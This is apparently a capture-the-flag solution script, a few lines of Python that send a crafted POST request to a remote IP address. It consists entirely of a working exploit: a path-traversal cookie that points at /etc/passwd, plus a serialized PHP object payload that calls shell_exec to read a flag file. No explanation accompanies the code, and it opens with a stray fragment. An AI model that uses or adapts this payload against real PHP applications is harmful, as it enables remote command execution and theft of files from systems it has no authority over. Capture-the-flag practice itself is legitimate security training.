:}

import requests as r
r.post("http://161.35.154.77/flag",cookies={"sess":"../etc/passwd"},data={"r":'O:7:"TestReq":1:{s:6:"inject";s:32:"echo shell_exec(\'cat flag.php\');";}'}).text